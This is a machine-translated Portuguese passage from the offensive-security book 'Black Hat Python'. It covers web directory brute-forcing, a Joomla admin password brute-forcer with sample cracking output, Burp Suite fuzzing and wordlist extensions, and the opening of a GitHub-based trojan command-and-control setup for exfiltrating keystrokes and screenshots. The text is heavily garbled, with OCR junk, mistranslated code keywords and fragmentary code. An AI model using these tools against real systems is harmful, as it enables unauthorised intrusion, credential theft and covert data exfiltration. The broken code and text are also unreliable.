tópicos = 10
os.chdir(diretório)
ÿ web_paths = Queue.Queue()
def teste_remote():
x enquanto não é web_paths.empty(): path =
web_paths.get()
url = "%s%s" % (destino, caminho)
solicitação = urllib2.Request(url)
Hackers da Web 63
www.it-ebooks.info
Machine Translated by Google
tentar:
resposta = urllib2.holiday(solicitação)
conteúdo = resposta.read()
Com
exceto urllib2.HTTPError como erro:
#print "Falha %s" % error.code
passar
Chutando os pneus
Para fins de teste, instalei o Joomla 3.1.1 em minha Kali VM, mas você pode usar
qualquer aplicativo da web de código aberto que possa implantar rapidamente ou que
já esteja em execução. Ao executar web_app_mapper.py, você deverá ver um
resultado semelhante ao seguinte:
Tópico de geração: 0
Tópico de desova: 1
Tópico de desova: 2
Tópico de desova: 3
Tópico de desova: 4
Tópico de desova: 5
64 Capítulo 5
www.it-ebooks.info
Machine Translated by Google
Tópico de desova: 6
Tópico de desova: 7
Tópico de desova: 8
Tópico de desova: 9
[200] => /htaccess.txt
[200] => /web.config.txt
[200] => /LICENSE.txt
[200] => /README.txt
[200] => /administrador/cache/index.html
[200] => /administrador/componentes/index.html
[200] => /administrator/components/com_admin/controller.php
[200] => /administrator/components/com_admin/script.php
[200] => /administrator/components/com_admin/admin.xml
[200] => /administrador/componentes/com_admin/admin.php
[200] => /administrator/components/com_admin/helpers/index.html
[200] => /administrator/components/com_admin/controllers/index.html
[200] => /administrator/components/com_admin/index.html
[200] => /administrator/components/com_admin/helpers/html/index.html
[200] => /administrator/components/com_admin/models/index.html
[200] => /administrator/components/com_admin/models/profile.php
[200] => /administrator/components/com_admin/controllers/profile.php
Você pode ver que estamos obtendo alguns resultados válidos, incluindo alguns arquivos .txt e arquivos XML.
É claro que você pode incluir inteligência adicional no script para retornar apenas os arquivos de seu interesse, como
aqueles que contêm a palavra install .
Construiremos uma ferramenta simples que aceitará listas de palavras de palavras brutas comuns
forcers como o projeto DirBuster1 ou SVNDigger2 e tentam descobrir diretórios e arquivos que
podem ser acessados no servidor web de destino. Como antes, criaremos um conjunto de threads
para tentar descobrir agressivamente
Hackers da Web 65
www.it-ebooks.info
Machine Translated by Google
contente. Vamos começar criando algumas funcionalidades para criar uma fila a partir de
um arquivo de lista de palavras. Abra um novo arquivo, nomeie-o content_bruter.py e insira
o seguinte código:
importar urllib2
importar threading
fila de importação
importar URLlib
tópicos = 50
target_url = "http://testphp.vulnweb.com"
wordlist_file = "/tmp/all.txt" # do SVNDigger
retomar = Nenhum
def build_wordlist(arquivo_listadepalavras):
fd.fechar()
encontrado_resume = Falso
palavras = Queue.Queue()
palavra = palavra.rstrip()
se encontrado_resume:
palavras.put(palavra)
outro:
se palavra == currículo:
encontrado_resume = Verdadeiro
print "Retomando lista de palavras de: %s" % currículo
outro:
palavras.put(palavra)
retornar palavras
66 Capítulo 5
www.it-ebooks.info
Machine Translated by Google
def dir_bruter(palavra_queue,extensões=Nenhum):
lista_tentativa = []
tentar:
cabeçalhos = {}
ÿ headers["User-Agent"] = user_agent r =
urllib2.Request(url,headers=headers)
resposta = urllib2.holiday(r)
ÿ if len(response.read()):
imprima "[%d] => %s"% (response.code,url)
exceto urllib2.URLError,e:
passar
Nossa função dir_bruter aceita um objeto Queue que é preenchido com palavras
para usar na força bruta e uma lista opcional de extensões de arquivo para testar.
Começamos testando para ver se existe uma extensão de arquivo na palavra atual ÿ e,
se não houver, tratamos como um diretório que queremos testar no servidor web
remoto. Se houver uma lista de extensões de arquivo passadas em ÿ, então pegamos a
palavra atual e aplicamos cada extensão de arquivo que queremos testar.
Hackers da Web 67
www.it-ebooks.info
Machine Translated by Google
Pode ser útil aqui pensar em usar extensões como .orig e .bak além das extensões regulares
de linguagem de programação. Depois de construirmos uma lista de tentativas de força
bruta, definimos o cabeçalho User-Agent como algo inócuo ÿ e testamos o servidor web
remoto. Se o código de resposta for 200, geramos o URL ÿ, e se recebermos algo que não
seja 404, também geramos ÿ
porque isso pode indicar algo interessante no servidor web remoto além de um erro de “arquivo não
encontrado”.
word_queue = build_wordlist(wordlist_file)
extensões = [".php",".bak",".orig",".inc"]
Chutando os pneus
OWASP tem uma lista de aplicações web vulneráveis online e offline (máquinas virtuais,
ISOs, etc.) nas quais você pode testar suas ferramentas. Nesse caso, o URL referenciado no
código-fonte aponta para um aplicativo da web intencionalmente com bugs hospedado pela
Acunetix. O legal é que isso mostra o quão eficaz a força bruta pode ser em um aplicativo da
web. Eu recomendo que você defina a variável thread_count para algo sensato, como 5, e
execute o script.
Em pouco tempo, você deverá começar a ver resultados como os abaixo:
Você pode ver que estamos obtendo alguns resultados interessantes do controle remoto
local na rede Internet. Não consigo enfatizar o suficiente a importância de executar a força
bruta de conteúdo em todos os alvos de seus aplicativos da web.
68 Capítulo 5
www.it-ebooks.info
Machine Translated by Google
</form>
Hackers da Web 69
www.it-ebooks.info
Machine Translated by Google
você verá que seu atributo name está definido como uma string longa e aleatória. Esta é a
peça essencial da técnica anti-força bruta do Joomla. Essa string aleatória é verificada em
relação à sua sessão de usuário atual, armazenada em um cookie e, mesmo que você
esteja passando as credenciais corretas para o script de processamento de login, se o
token aleatório não estiver presente, a autenticação falhará. Isso significa que temos que
usar o seguinte fluxo de solicitação em nosso força bruta para ter sucesso no Joomla:
3. Defina o nome de usuário e/ou senha de acordo com um palpite do nosso dicionário.
4. Envie um HTTP POST para o script de processamento de login incluindo todos
Campos de formulário HTML e nossos cookies armazenados.
Você pode ver que utilizaremos algumas técnicas novas e valiosas neste script.
Mencionarei também que você nunca deve “treinar” suas ferramentas em um alvo ativo;
sempre configure uma instalação do seu aplicativo web de destino com credenciais
conhecidas e verifique se você obtém os resultados desejados. Vamos abrir um novo
arquivo Python chamado joomla_killer.py e inserir o seguinte código:
importar urllib2
importar urllib
importar cookielib
importar threading
sistema de importação
fila de importação
# Configurações Gerais
user_thread = 10
nome de usuário = "administrador"
wordlist_file = "/tmp/cain.txt"
retomar = Nenhum
ÿ nomedeusuário_field= "nomedeusuário"
campo_senha= "senha"
70 Capítulo 5
www.it-ebooks.info
Machine Translated by Google
def run_bruteforce(self):
def web_bruter(self):
resposta = opener.open(target_url)
página = resposta.read()
post_tags=parser.tag_results
ÿ login_data = urllib.urlencode(post_tags)
login_response = opener.open(target_post, login_data)
login_result = login_response.read()
Hackers da Web 71
www.it-ebooks.info
Machine Translated by Google
Esta é a nossa principal classe de força bruta, que irá lidar com todas as
solicitações HTTP e gerenciar cookies para nós. Depois de pegarmos nossa
tentativa de senha, configuramos nosso cookie jar ÿ usando a classe FileCookieJar
que armazenará os cookies no arquivo cookies . Em seguida, inicializamos nosso
abridor urllib2 , passando o cookie jar inicializado, que diz ao urllib2 para passar
quaisquer cookies para ele. Em seguida, fazemos a solicitação inicial para recuperar o formulário de log
Quando temos o HTML bruto, nós o passamos para nosso analisador HTML e
chamamos seu método feed ÿ, que retorna um dicionário de todos os elementos do
formulário recuperados. Depois de analisarmos o HTML com sucesso, substituímos
os campos de nome de usuário e senha por nossa tentativa de força bruta ÿ. Em
seguida, codificamos em URL as variáveis POST ÿ e depois as passamos em nossa
solicitação HTTP subsequente. Depois de recuperarmos o resultado da nossa tentativa
de autenticação, testamos se a autenticação foi bem-sucedida ou não ÿ. Agora vamos
implementar o núcleo do nosso processamento HTML. Adicione a seguinte classe ao
seu script joomla_killer.py :
classe BruteParser(HTMLParser):
def __init__(self):
HTMLParser.__init__(self)
ÿ self.tag_results = {}
72 Capítulo 5
www.it-ebooks.info
Machine Translated by Google
HTMLParser 101
Existem três métodos principais que você pode implementar ao usar o HTMLParser
classe: handle_starttag, handle_endtag e handle_data. O identificador_starttag
A função será chamada sempre que uma tag HTML de abertura for encontrada, e o oposto
é verdadeiro para a função handle_endtag , que é chamada sempre que uma tag HTML de
fechamento for encontrada. A função handle_data é chamada quando há texto bruto entre
as tags. Os protótipos de função para cada função são ligeiramente diferentes, como segue:
<title>Python é demais!</title>
Com esse entendimento básico da classe HTMLParser , você pode fazer coisas
como analisar formulários, encontrar links para spidering, extrair todo o texto puro para
fins de mineração de dados ou encontrar todas as imagens em uma página.
Para encerrar nosso brute force Joomla, vamos copiar e colar o build_wordlist
função da nossa seção anterior e adicione o seguinte código:
palavras = build_wordlist(wordlist_file)
É isso! Simplesmente passamos o nome de usuário e nossa lista de palavras para nosso Bruter
aula e veja a mágica acontecer.
Hackers da Web 73
www.it-ebooks.info
Machine Translated by Google
Chutando os pneus
Se você não possui o Joomla instalado em sua VM Kali, você deve instalá-lo agora.
Minha VM de destino está em 192.168.112.131 e estou usando uma lista de palavras
fornecida por Cain e Abel,3 um conjunto popular de ferramentas de força bruta e cracking.
Já predefini o nome de usuário para admin e a senha para justin na instalação do
Joomla para ter certeza de que funciona. Eu então adicionei Justin
para o arquivo de lista de palavras cain.txt cerca de 50 entradas ou mais no arquivo. Ao executar
o script, recebo a seguinte saída:
$ python2.7 joomla_killer.py
Configuração concluída para: admin
Tentando: admin: 0racl38 (306697 restantes)
Tentando: admin: !@#$% (306697 restantes)
Tentando: admin: !@#$%^ (306697 restantes)
--recorte--
Tentando: admin: 1p2o3i (306659 restantes)
Tentando: admin: 1qw23e (306657 restantes)
Tentando: admin: 1q2w3e (306656 restantes)
Tentando: admin: 1sanjose (306655 restantes)
Tentando: admin: 2 (306655 restantes)
Tentando: admin: justin (306655 restantes)
Tentando: admin: 2112 (306646 restantes)
[*] Força bruta bem-sucedida.
[*] Nome de usuário: administrador
Você pode ver que ele faz força bruta e faz login no console do administrador do
Joomla. Para verificar, é claro que você deve fazer login manualmente e certificar-se.
Depois de testar isso localmente e ter certeza de que funciona, você pode usar essa
ferramenta em uma instalação alvo do Joomla de sua escolha.
74 Capítulo 5
www.it-ebooks.info
Machine Translated by Google
6
Estendendo o Bu rp Prox y
www.it-ebooks.info
Machine Translated by Google
Presumo que você já brincou com o Burp antes e sabe como interceptar
solicitações com a ferramenta Proxy, bem como enviar uma solicitação interceptada ao
Burp Intruder. Se você precisar de um tutorial sobre como realizar essas tarefas, visite
PortSwigger Web Security (http:// www.portswigger.net/) para começar.
Devo admitir que quando comecei a explorar a API Burp Extender, precisei de algumas
tentativas para entender como ela funcionava. Achei um pouco confuso, pois sou um cara puro de
Python e tenho experiência limitada em desenvolvimento Java. Mas encontrei uma série de
extensões no site do Burp que me permitiram ver como outras pessoas desenvolveram extensões, e
usei essa técnica anterior para me ajudar a entender como começar a implementar meu próprio
código. Abordarei alguns princípios básicos sobre extensão de funcionalidade, mas também
mostrarei como usar a documentação da API como um guia para desenvolver suas próprias
extensões.
Configurando
Primeiro, baixe o Burp em http:// www.portswigger.net/ e prepare-o para ir.
Por mais triste que seja admitir isso, você precisará de uma instalação Java moderna,
para a qual todos os sistemas operacionais possuem pacotes ou instaladores.
A próxima etapa é obter o arquivo JAR independente Jython (uma implementação Python
escrita em Java); vamos apontar isso para Burp. Você pode encontrar esse arquivo JAR
no site No Starch junto com o restante do código do livro (http:// www
.nostarch.com/ blackhatpython/) ou visite o site oficial, http:// www.jython.org/
downloads.html, e selecione o instalador independente do Jython 2.7. Não se deixe
enganar pelo nome; é apenas um arquivo JAR. Salve o arquivo JAR em um local fácil de
lembrar, como sua área de trabalho.
Em seguida, abra um terminal de linha de comando e execute o Burp assim:
Isso fará com que o Burp seja iniciado e você verá sua UI cheia de abas maravilhosas,
como mostrado na Figura 6-1.
Agora vamos apontar o Burp para o nosso intérprete Jython. Clique na guia Extender
e, em seguida, clique na guia Opções . Na seção Python Environment, selecione o local
do seu arquivo Jython JAR, conforme mostrado na Figura 6-2.
Você pode deixar o resto das opções de lado, e devemos estar prontos para
comece a codificar nossa primeira extensão. Vamos agitar!
76 Capítulo 6
www.it-ebooks.info
Machine Translated by Google
www.it-ebooks.info
Machine Translated by Google
Arrotar Fuzzing
Em algum momento de sua carreira, você poderá atacar um aplicativo ou serviço web
que não permite o uso de ferramentas tradicionais de avaliação de aplicativos web. Seja
trabalhando com um protocolo binário envolvido no tráfego HTTP ou em solicitações
JSON complexas, é fundamental que você seja capaz de testar bugs de aplicativos
da web tradicionais. O aplicativo pode estar usando muitos parâmetros ou está
ofuscado de alguma forma que a execução de um teste manual levaria muito tempo.
Também fui culpado de executar ferramentas padrão que não foram projetadas para
lidar com protocolos estranhos ou mesmo JSON em muitos casos. É aqui que é útil
aproveitar o Burp para estabelecer uma linha de base sólida de tráfego HTTP, incluindo
cookies de autenticação, enquanto passa o corpo da solicitação para um fuzzer
personalizado que pode manipular a carga da maneira que você escolher. Vamos
trabalhar em nossa primeira extensão Burp para criar o fuzzer de aplicação web mais
simples do mundo, que você pode então expandir para algo mais inteligente.
Burp tem uma série de ferramentas que você pode usar ao realizar testes de
aplicativos da web. Normalmente, você interceptará todas as solicitações usando o
Proxy e, quando vir uma solicitação interessante passar, você a enviará para outra
ferramenta Burp. Uma técnica comum que utilizo é enviá-los para a ferramenta Repetidor,
que me permite reproduzir o tráfego da web, bem como modificar manualmente quaisquer
pontos interessantes. Para realizar ataques mais automatizados nos parâmetros de
consulta, você enviará uma solicitação à ferramenta Intruder, que tenta descobrir
automaticamente quais áreas do tráfego da web devem ser modificadas e, em seguida,
permite que você use uma variedade de ataques para tentar obter erros. mensagens ou
revelar vulnerabilidades. Uma extensão Burp pode interagir de várias maneiras com
o conjunto de ferramentas Burp e, em nosso caso, adicionaremos funcionalidades
adicionais diretamente à ferramenta Intruder.
Meu primeiro instinto natural é dar uma olhada na documentação da API do Burp
para determinar quais classes do Burp preciso estender para escrever minha
extensão personalizada. Você pode acessar esta documentação clicando na guia
Extender e depois na guia APIs . Isso pode parecer um pouco assustador porque parece
(e é) muito Java. A primeira coisa que notamos é que os desenvolvedores do Burp
nomearam cada classe apropriadamente para que seja fácil descobrir por onde queremos
começar. Em particular, como estamos analisando solicitações difusas da Web durante
um ataque do Intruder, vejo as classes IIntruderPayloadGeneratorFactory e
IIntruderPayloadGenerator . Vamos dar uma olhada no que a documentação diz sobre
a classe IIntruderPayloadGeneratorFactory :
/**
* As extensões podem implementar esta interface e depois chamar
ÿ * IBurpExtenderCallbacks.registerIntruderPayloadGeneratorFactory() * para
registrar uma fábrica para cargas úteis personalizadas do Intruder.
*/
*
*
@return O nome do gerador de carga útil.
*/
ÿ String getGeneratorName();
/**
* Este método é usado pelo Burp quando o usuário inicia um ataque Intruder
* que usa este gerador de carga útil.
*
@param attack
* Um objeto IIntruderAttack que pode ser consultado para obter detalhes
* sobre o ataque em que o gerador de payload será utilizado.
importar aleatoriamente
ÿ retornos de chamada.registerIntruderPayloadGeneratorFactory(self)
retornar
www.it-ebooks.info
Machine Translated by Google
/**
* Esta interface é usada para geradores de carga útil personalizados do Intruder.
* Extensões
*que registraram um
* IIntruderPayloadGeneratorFactory deve retornar uma nova instância de
* esta interface quando necessária como parte de um novo ataque de intrusão.
*/
/**
* Este método é usado pelo Burp para obter o valor do próximo payload.
*
*
@param baseValue O valor base da posição atual da carga útil.
* Este valor pode ser nulo se o conceito de valor base não for *
aplicável (por exemplo, em um ataque de aríete).
*
@return A próxima carga a ser usada no ataque.
*/
ÿ byte[] getNextPayload(byte[] baseValue);
80 Capítulo 6
www.it-ebooks.info
Machine Translated by Google
/**
* Este método é usado pelo Burp para redefinir o estado da carga útil
*
gerador para que a próxima chamada para
* getNextPayload() retorna a primeira carga novamente. Esse
* o método será invocado quando um ataque usar a mesma carga útil
*
gerador para mais de uma posição de carga útil, por exemplo, em um ataque
*
de atirador furtivo.
*/
ÿ void reset(); }
OK! Portanto, precisamos implementar a classe base e ela precisa expor três funções. A
primeira função, hasMorePayloads ÿ, existe simplesmente para decidir se as solicitações
mutadas devem continuar de volta ao Burp Intruder.
Usaremos apenas um contador para lidar com isso e, quando o contador estiver no máximo
que definimos, retornaremos False para que não sejam gerados mais casos de difusão. A função
getNextPayload ÿ receberá a carga original da solicitação HTTP que você capturou. Ou, se você
selecionou diversas áreas de carga útil na solicitação HTTP, receberá apenas os bytes solicitados
para difusão (mais sobre isso posteriormente). Esta função nos permite difundir o caso de teste
original e então retorná-lo para que Burp envie o novo valor difuso. A última função, reset ÿ, existe
para que, se gerarmos um conjunto conhecido de solicitações difusas (digamos, cinco delas), então,
para cada posição de carga designada na guia Intruder, iremos iterar pelos cinco valores difusos.
Nosso difusor não é tão exigente e sempre continuará difundindo aleatoriamente cada
solicitação HTTP. Agora vamos ver como isso fica quando o implementamos em Python. Adicione
o seguinte código ao final de bhp_fuzzer.py:
retornar
ÿ def hasMorePayloads(self): se
self.num_iterations == self.max_payloads:
retorna falso
outro:
retornar verdadeiro
ÿ def getNextPayload(self,carga_atual):
www.it-ebooks.info
Machine Translated by Google
def mutate_payload(self,original_payload):
# escolha um modificador simples ou até mesmo chame um script externo
selecionador = random.randint(1,3)
82 Capítulo 6
www.it-ebooks.info
Machine Translated by Google
Chutando os pneus
Primeiro temos que carregar nossa extensão e ter certeza de que não há
erros. Clique na guia Extender no Burp e, em seguida, clique no botão Adicionar .
Aparece uma tela que permitirá que você aponte Burp para o fuzzer. Certifique-
se de definir as mesmas opções mostradas na Figura 6-3.
www.it-ebooks.info
Machine Translated by Google
Figura 6-4: Burp Extender mostrando que nossa extensão está carregada
Você pode ver que nossa extensão está carregada e que Burp identificou que um
gerador de carga útil do Intruder está registrado. Agora estamos prontos para aproveitar
nossa extensão em um ataque real. Certifique-se de que seu navegador esteja
configurado para usar Burp Proxy como proxy localhost na porta 8080 e vamos
atacar o mesmo aplicativo da web Acunetix do Capítulo 5. Basta navegar para:
http://testphp.vulnweb.com
84 Capítulo 6
www.it-ebooks.info
Machine Translated by Google
Por exemplo, usei a pequena barra de pesquisa do site deles para enviar uma pesquisa
pela string “teste”. A Figura 6-5 mostra como posso ver essa solicitação na guia Histórico HTTP da
guia Proxy e cliquei com o botão direito na solicitação para enviá-la ao Intruder.
Agora mude para a guia Intruder e clique na guia Posições . Uma tela aparece mostrando
cada parâmetro de consulta destacado. Este é o Burp identificando os pontos onde deveríamos estar
confusos. Você pode tentar mover os delimitadores de carga útil ou selecionar toda a carga útil para
difusão, se desejar, mas em nosso caso, vamos deixar o Burp decidir onde iremos fazer a difusão.
Para maior clareza, consulte a Figura 6.6, que mostra como funciona o destaque da carga útil.
Agora clique na guia Cargas úteis . Nesta tela, clique no menu suspenso Tipo de carga útil e
selecione Gerado por extensão. Na seção Opções de carga útil, clique no botão Selecionar gerador...
e escolha Gerador de carga útil BHP no menu suspenso. Sua tela Payload agora deve se parecer
com a Figura 6-7.
www.it-ebooks.info
Machine Translated by Google
Figura 6-7: Usando nossa extensão fuzzing como gerador de carga útil
86 Capítulo 6
www.it-ebooks.info
Machine Translated by Google
www.it-ebooks.info
Machine Translated by Google
localizado na mesma máquina que seu alvo. O mecanismo de pesquisa Bing da Microsoft
possui recursos de pesquisa que permitem consultar o Bing sobre todos os sites
encontrados em um único endereço IP (usando o modificador de pesquisa “IP”). O Bing
também informará todos os subdomínios de um determinado domínio (usando o modificador “domínio”).
Agora poderíamos, é claro, usar um raspador para enviar essas consultas ao Bing e
depois copiar o HTML nos resultados, mas isso seria falta de educação (e também violaria
os termos de uso da maioria dos mecanismos de pesquisa). Para evitar problemas,
podemos usar a API1 do Bing para enviar essas consultas de forma programática e, em
seguida, analisar nós mesmos os resultados. Não implementaremos nenhuma adição
sofisticada à GUI do Burp (além de um menu de contexto) com esta extensão;
simplesmente enviamos os resultados para o Burp cada vez que executamos uma
consulta, e quaisquer URLs detectados no escopo de destino do Burp serão adicionados
automaticamente. Como já orientei você sobre como ler a documentação da API Burp e
traduzi-la para Python, vamos direto ao código.
Abra bhp_bing.py e digite o seguinte código:
soquete de importação
importar URLlib
importar JSON
importar re
importar base64
ÿ bing_api_key = "SUA CHAVE"
retornar
1. Visite http:// www.bing.com/ dev/ en-us/ dev-center/ para configurar sua própria chave de API gratuita do Bing.
88 Capítulo 6
www.it-ebooks.info
Machine Translated by Google
def bing_menu(self,evento):
self.bing_search(host)
retornar
def bing_search(self,host):
ÿ se is_ip: ip_address
= host
domínio = Falso
outro:
endereço_ip = socket.gethostbyname(host)
domínio = Verdadeiro
se domínio:
bing_query_string = "'domínio:%s'"% host
ÿ self.bing_query(bing_query_string)
www.it-ebooks.info
Machine Translated by Google
def bing_query(self,bing_query_string):
ÿ json_body = self._callbacks.makeHttpRequest("api.datamarket.azure.com",¬
443,True,http_request).tostring()
ÿ json_body = json_body.split("\r\n\r\n",1)[1]
tentar:
ÿ r = json.loads(json_body)
if len(r["d"]["resultados"]):
para site em r["d"]["resultados"]:
ÿ "*" * 100
imprimir imprimir site['Título']
imprimir site['Url']
imprimir site['Descrição']
"*" * 100
impressão
j_url = URL(site['Url'])
90 Capítulo 6
www.it-ebooks.info
Machine Translated by Google
exceto:
imprimir "Nenhum resultado do Bing"
passar
retornar
Chutando os pneus
Use o mesmo procedimento que usamos para nossa extensão fuzzing para fazer a extensão
de pesquisa do Bing funcionar. Quando estiver carregado, navegue até http:// testphp.vulnweb
.com/, e clique com o botão direito na solicitação GET que você acabou de emitir. Se a
extensão for carregada corretamente, você deverá ver a opção de menu Enviar para Bing
exibida conforme mostrado na Figura 6-9.
www.it-ebooks.info
Machine Translated by Google
92 Capítulo 6
www.it-ebooks.info
Machine Translated by Google
Figura 6-11: Mostrando como os hosts descobertos são adicionados automaticamente ao escopo de destino do Burp
www.it-ebooks.info
Machine Translated by Google
importar re
de datetime importar datetime de
HTMLParser importar HTMLParser
retornar
retornar lista_menu
94 Capítulo 6
www.it-ebooks.info
Machine Translated by Google
Agora vamos adicionar a lógica para pegar o tráfego HTTP selecionado do Burp e
transforme-o em uma lista de palavras base.
def wordlist_menu(self,evento):
ÿ self.hosts.add(host)
http_response = tráfego.getResponse()
se http_response:
ÿ self.get_words(http_response)
self.display_wordlist()
retornar
tag_stripper = TagStripper()
ÿ page_text=tag_stripper.strip(corpo)
www.it-ebooks.info
Machine Translated by Google
retornar
retornar mutilado
def display_wordlist(self):
ÿ print "#!comment: Lista de palavras BHP para site(s) %s" % ", ".join(self.hosts)
retornar
96 Capítulo 6
www.it-ebooks.info
Machine Translated by Google
Muito legal! A função mangle pega uma palavra base e a transforma em uma série de
tentativas de senha com base em algumas “estratégias” comuns de criação de senha. Neste
exemplo simples, criamos uma lista de sufixos para colocar no final da palavra base, incluindo o
ano atual ÿ. Em seguida, percorremos cada sufixo e o adicionamos à palavra base ÿ para criar
uma tentativa de senha exclusiva. Fazemos outro loop com uma versão maiúscula da palavra
base para garantir. Na função display_wordlist , imprimimos um comentário no estilo “João, o
Estripador” ÿ para nos lembrar quais sites foram usados para gerar esta lista de palavras. Em
seguida, mutilamos cada palavra base e imprimimos os resultados. É hora de levar esse bebê para
dar uma volta.
Chutando os pneus
Clique na guia Extender no Burp, clique no botão Add e use o mesmo procedimento que
usamos para nossas extensões anteriores para fazer a extensão Wordlist funcionar. Depois de
carregá-lo, navegue até http:// testphp.vulnweb.com/.
Clique com o botão direito no site no painel Mapa do Site e selecione Spider this host,
conforme mostrado na Figura 6-12.
www.it-ebooks.info
Machine Translated by Google
Depois que o Burp visitar todos os links do site de destino, selecione todas as
solicitações no painel superior direito, clique com o botão direito nelas para abrir o menu
de contexto e selecione Criar lista de palavras, conforme mostrado na Figura 6-13.
98 Capítulo 6
www.it-ebooks.info
Machine Translated by Google
Neste capítulo, mostramos como construir uma excelente ferramenta de reconhecimento para adicionar ao
seu cinto de ferramentas Burp. Como está, esta extensão recupera apenas os 20 principais resultados do Bing, portanto,
como lição de casa, você pode trabalhar em fazer solicitações adicionais para garantir a recuperação de todos os
resultados. Isso exigirá uma pequena leitura sobre a API do Bing e a escrita de algum código para lidar com o
conjunto maior de resultados. É claro que você poderia então dizer ao Burp spider para rastrear cada um dos novos
sites que você descobrir e procurar vulnerabilidades automaticamente!
www.it-ebooks.info
Machine Translated by Google
www.it-ebooks.info
Machine Translated by Google
7
Comando G itH ub
e controle
É crucial ter uma maneira relativamente universal de enviar código para seus trojans
remotos. Essa flexibilidade é necessária não apenas para controlar seus cavalos de
Tróia para executar tarefas diferentes, mas também porque você pode ter código
adicional específico para o sistema operacional de destino.
Portanto, embora os hackers tenham tido muitos meios criativos de comando e controle
Ao longo dos anos, como o IRC ou mesmo o Twitter, tentaremos um serviço realmente
projetado para código. Usaremos o GitHub como uma forma de armazenar informações de
configuração do implante e dados exfiltrados, bem como quaisquer módulos que o implante
precise para executar tarefas. Também exploraremos como hackear o mecanismo de
importação de biblioteca nativa do Python para que, à medida que você cria novos módulos
de trojan, seus implantes possam tentar recuperá-los automaticamente e quaisquer
bibliotecas dependentes diretamente de seu repositório também. Tenha em mente que seu
tráfego para o GitHub será criptografado por SSL, e há muito poucas empresas que eu vi
que bloqueiam ativamente o próprio GitHub.
www.it-ebooks.info
Machine Translated by Google
Uma coisa a observar é que usaremos um repositório público para realizar esses testes;
se quiser gastar o dinheiro, você pode obter um repositório privado para que olhares indiscretos não vejam o
que você está fazendo. Além disso, todos os seus módulos, configurações e dados podem ser criptografados
usando pares de chaves pública/privada, o que demonstro no Capítulo 9. Vamos começar!
Se você ainda não fez isso, instale o cliente git. Faço meu desenvolvimento a partir de uma máquina
Linux, mas funciona em qualquer plataforma. Agora vamos criar uma estrutura básica para nosso repositório.
Faça o seguinte na linha de comando, adaptando conforme necessário se você estiver no Windows:
troiano $ mkdir
troiano $ cd
$ git calor
$ módulos mkdir
$ configuração mkdir
$ mkdir dados
$ toque em módulos/.gitignore
$ toque em configuração/.gitignore
$ toque em dados/.gitignore
$ git add.
$ git commit -m "Adicionando estrutura de repositório para trojan."
$ git remote add origin https://github.com/<seunomedeusuário>/chapter7.git
$ git push mestre de origem
Aqui, criamos a estrutura inicial do nosso repositório. O diretório config contém arquivos de configuração
que serão identificados exclusivamente para cada trojan. Ao implantar trojans, você deseja que cada um
execute tarefas diferentes e cada trojan verificará seu arquivo de configuração exclusivo. O diretório de módulos
contém qualquer código modular que você deseja que o trojan pegue e execute. Implementaremos um hack
de importação especial para permitir que nosso trojan importe bibliotecas diretamente de nosso repositório
GitHub. Esse recurso de carregamento remoto também permitirá que você armazene bibliotecas de terceiros
no GitHub para que você não precise recompilar continuamente seu trojan sempre que quiser adicionar
novas funcionalidades ou dependências. O diretório de dados é onde o trojan fará o check-in de quaisquer dados
coletados, pressionamentos de teclas, capturas de tela e assim por diante. Agora vamos criar alguns módulos
simples e um arquivo de configuração de exemplo.
1. O repositório onde esta biblioteca está hospedada está aqui: https:// github.com/ copitux/ python-github3/.
102 Capítulo 7
www.it-ebooks.info
Machine Translated by Google
Criando Módulos
Nos capítulos posteriores, você fará negócios desagradáveis com seus cavalos de Tróia,
como registrar as teclas digitadas e tirar capturas de tela. Mas para começar, vamos criar
alguns módulos simples que podemos testar e implantar facilmente. Abra um novo arquivo
no diretório de módulos, nomeie-o como dirlister.py e insira o seguinte código:
importe-nos
def execução(**args):
retornar str(arquivos)
Este pequeno trecho de código simplesmente expõe uma função run que lista todos
os arquivos no diretório atual e retorna essa lista como uma string. Cada módulo
desenvolvido deve expor uma função de execução que recebe um número variável de
argumentos. Isso permite carregar cada módulo da mesma maneira e deixa extensibilidade
suficiente para que você possa personalizar os arquivos de configuração para passar
argumentos para o módulo, se desejar.
Agora vamos criar outro módulo chamado Environment.py.
importe-nos
def execução(**args):
print "[*] No módulo de ambiente."
retornar str(os.ambiente)
$ git add .
$ git commit -m "Adicionando novos módulos"
$ git push mestre de origem
Nome de usuário: ********
Senha: ********
Você deverá então ver seu código sendo enviado para seu repositório GitHub; sinta-se à vontade para fazer login em
sua conta e verificar novamente! É exatamente assim que você pode continuar a desenvolver código no futuro. Deixarei a
integração de módulos mais complexos para você como tarefa de casa. Se você tiver cem trojans implantados, poderá
enviar novos módulos para seu repositório GitHub e fazer o controle de qualidade deles ativando seu novo módulo em um
arquivo de configuração para sua versão local do trojan. Dessa forma, você pode testar em uma VM ou hardware host que
você controla antes de permitir que um de seus trojans remotos pegue o código e use-o.
www.it-ebooks.info
Machine Translated by Google
Configuração de Trojan
Queremos poder incumbir nosso trojan de realizar certas ações durante um período de
tempo. Isso significa que precisamos de uma maneira de dizer quais ações executar
e quais módulos são responsáveis por executar essas ações.
Usar um arquivo de configuração nos dá esse nível de controle e também nos permite
colocar efetivamente um trojan em suspensão (não atribuindo nenhuma tarefa a ele),
caso assim desejemos. Cada trojan implantado deve ter um identificador exclusivo,
tanto para que você possa classificar os dados recuperados quanto para controlar qual
trojan executa determinadas tarefas. Configuraremos o trojan para procurar
TROJANID.json no diretório de configuração , que retornará um documento JSON
simples que podemos analisar, converter em um dicionário Python e depois usar. O
